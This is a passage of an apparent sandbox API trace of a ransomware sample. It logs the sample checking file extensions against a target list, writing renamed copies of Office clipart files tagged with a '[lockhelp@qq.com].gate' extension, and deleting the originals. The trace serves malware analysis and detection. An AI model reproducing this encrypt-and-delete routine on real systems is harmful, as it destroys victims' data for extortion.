office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0281.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0281.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0281.913] lstrlenW (lpString=".doc") returned 4 [0281.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.913] lstrlenW (lpString=".docx") returned 5 [0281.913] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.913] lstrlenW (lpString=".pdf") returned 4 [0281.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.914] lstrlenW (lpString=".xls") returned 4 [0281.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.914] lstrlenW (lpString=".xlsx") returned 5 [0281.914] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.914] lstrlenW (lpString=".ppt") returned 4 [0281.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0281.914] lstrlenW (lpString=".zip") returned 4 [0281.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.914] lstrlenW (lpString=".rar") returned 4 [0281.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.914] lstrlenW (lpString=".bz2") returned 4 [0281.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.914] lstrlenW (lpString=".7z") returned 3 [0281.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0281.914] lstrlenW (lpString=".dbf") returned 4 [0281.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0281.914] lstrlenW (lpString=".1cd") returned 4 [0281.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0281.914] lstrlenW (lpString=".jpg") returned 4 [0281.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0281.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0281.914] lstrlenW (lpString=".doc") returned 4 [0281.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.914] lstrlenW (lpString=".docx") returned 5 [0281.915] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.915] lstrlenW (lpString=".pdf") returned 4 [0281.915] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.915] lstrlenW (lpString=".xls") returned 4 [0281.915] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.915] lstrlenW (lpString=".xlsx") returned 5 [0281.915] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.915] lstrlenW (lpString=".ppt") returned 4 [0281.915] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0281.915] lstrlenW (lpString=".zip") returned 4 [0281.915] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.915] lstrlenW (lpString=".rar") returned 4 [0281.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.915] lstrlenW (lpString=".bz2") returned 4 [0281.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.915] lstrlenW (lpString=".7z") returned 3 [0281.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0281.915] lstrlenW (lpString=".dbf") returned 4 [0281.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0281.916] lstrlenW (lpString=".1cd") returned 4 [0281.916] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0281.916] lstrlenW (lpString=".jpg") returned 4 [0281.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.916] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.916] lstrlenW (lpString="AN03500_.WMF") returned 12 [0281.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0281.917] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=9240) returned 1 [0281.917] CloseHandle (hObject=0x4b0) returned 1 [0281.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220 [0281.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0281.918] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.918] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0281.919] GetLastError () returned 0x0 [0281.919] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x2418, lpOverlapped=0x0) returned 1 [0281.980] WriteFile (in: hFile=0x414, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x2420, lpOverlapped=0x0) returned 1 [0281.981] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.981] WriteFile (in: hFile=0x414, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.981] SetEndOfFile (hFile=0x414) returned 1 [0281.982] CloseHandle (hObject=0x414) returned 1 [0281.982] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.982] SetEndOfFile (hFile=0x4b0) returned 1 [0281.984] CloseHandle (hObject=0x4b0) returned 1 [0281.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0281.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0281.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0281.985] lstrlenW (lpString=".doc") returned 4 [0281.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.986] lstrlenW (lpString=".docx") returned 5 [0281.986] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.986] lstrlenW (lpString=".pdf") returned 4 [0281.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.986] lstrlenW (lpString=".xls") returned 4 [0281.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.986] lstrlenW (lpString=".xlsx") returned 5 [0281.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.986] lstrlenW (lpString=".ppt") returned 4 [0281.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0281.986] lstrlenW (lpString=".zip") returned 4 [0281.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.986] lstrlenW (lpString=".rar") returned 4 [0281.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.986] lstrlenW (lpString=".bz2") returned 4 [0281.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.986] lstrlenW (lpString=".7z") returned 3 [0281.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0281.986] lstrlenW (lpString=".dbf") returned 4 [0281.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0281.986] lstrlenW (lpString=".1cd") returned 4 [0281.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0281.986] lstrlenW (lpString=".jpg") returned 4 [0281.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0281.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0281.986] lstrlenW (lpString=".doc") returned 4 [0281.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.987] lstrlenW (lpString=".docx") returned 5 [0281.987] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.987] lstrlenW (lpString=".pdf") returned 4 [0281.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.987] lstrlenW (lpString=".xls") returned 4 [0281.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.987] lstrlenW (lpString=".xlsx") returned 5 [0281.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.987] lstrlenW (lpString=".ppt") returned 4 [0281.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0281.987] lstrlenW (lpString=".zip") returned 4 [0281.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.987] lstrlenW (lpString=".rar") returned 4 [0281.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.987] lstrlenW (lpString=".bz2") returned 4 [0281.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.987] lstrlenW (lpString=".7z") returned 3 [0281.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0281.987] lstrlenW (lpString=".dbf") returned 4 [0281.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0281.987] lstrlenW (lpString=".1cd") returned 4 [0281.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0281.987] lstrlenW (lpString=".jpg") returned 4 [0281.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.987] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.987] lstrlenW (lpString="AN04174_.WMF") returned 12 [0281.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0281.988] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2636) returned 1 [0281.988] CloseHandle (hObject=0x4b0) returned 1 [0281.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0x220 [0281.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0281.989] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.989] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0281.989] GetLastError () returned 0x0 [0281.989] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xa4c, lpOverlapped=0x0) returned 1 [0282.103] WriteFile (in: hFile=0x414, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xa50, lpOverlapped=0x0) returned 1 [0282.103] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.103] WriteFile (in: hFile=0x414, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.103] SetEndOfFile (hFile=0x414) returned 1 [0282.104] CloseHandle (hObject=0x414) returned 1 [0282.104] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.104] SetEndOfFile (hFile=0x4b0) returned 1 [0282.106] CloseHandle (hObject=0x4b0) returned 1 [0282.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0282.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0282.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0282.107] lstrlenW (lpString=".doc") returned 4 [0282.107] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.107] lstrlenW (lpString=".docx") returned 5 [0282.108] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.108] lstrlenW (lpString=".pdf") returned 4 [0282.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.108] lstrlenW (lpString=".xls") returned 4 [0282.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.108] lstrlenW (lpString=".xlsx") returned 5 [0282.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.108] lstrlenW (lpString=".ppt") returned 4 [0282.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0282.108] lstrlenW (lpString=".zip") returned 4 [0282.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.108] lstrlenW (lpString=".rar") returned 4 [0282.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.108] lstrlenW (lpString=".bz2") returned 4 [0282.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.108] lstrlenW (lpString=".7z") returned 3 [0282.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0282.108] lstrlenW (lpString=".dbf") returned 4 [0282.108] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0282.108] lstrlenW (lpString=".1cd") returned 4 [0282.108] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0282.108] lstrlenW (lpString=".jpg") returned 4 [0282.108] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0282.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0282.108] lstrlenW (lpString=".doc") returned 4 [0282.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.108] lstrlenW (lpString=".docx") returned 5 [0282.108] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.109] lstrlenW (lpString=".pdf") returned 4 [0282.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.109] lstrlenW (lpString=".xls") returned 4 [0282.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.109] lstrlenW (lpString=".xlsx") returned 5 [0282.109] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.109] lstrlenW (lpString=".ppt") returned 4 [0282.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0282.109] lstrlenW (lpString=".zip") returned 4 [0282.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.109] lstrlenW (lpString=".rar") returned 4 [0282.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.109] lstrlenW (lpString=".bz2") returned 4 [0282.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.109] lstrlenW (lpString=".7z") returned 3 [0282.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0282.109] lstrlenW (lpString=".dbf") returned 4 [0282.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0282.109] lstrlenW (lpString=".1cd") returned 4 [0282.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0282.109] lstrlenW (lpString=".jpg") returned 4 [0282.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.109] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.109] lstrlenW (lpString="AN04235_.WMF") returned 12 [0282.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0282.110] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=7804) returned 1 [0282.110] CloseHandle (hObject=0x4b0) returned 1 [0282.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 0x220 [0282.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0282.111] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.111] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0282.111] GetLastError () returned 0x0 [0282.111] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0282.215] WriteFile (in: hFile=0x414, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0282.216] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.216] WriteFile (in: hFile=0x414, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.216] SetEndOfFile (hFile=0x414) returned 1 [0282.217] CloseHandle (hObject=0x414) returned 1 [0282.217] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.217] SetEndOfFile (hFile=0x4b0) returned 1 [0282.219] CloseHandle (hObject=0x4b0) returned 1 [0282.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.220] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0282.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0282.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0282.252] lstrlenW (lpString=".doc") returned 4 [0282.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.252] lstrlenW 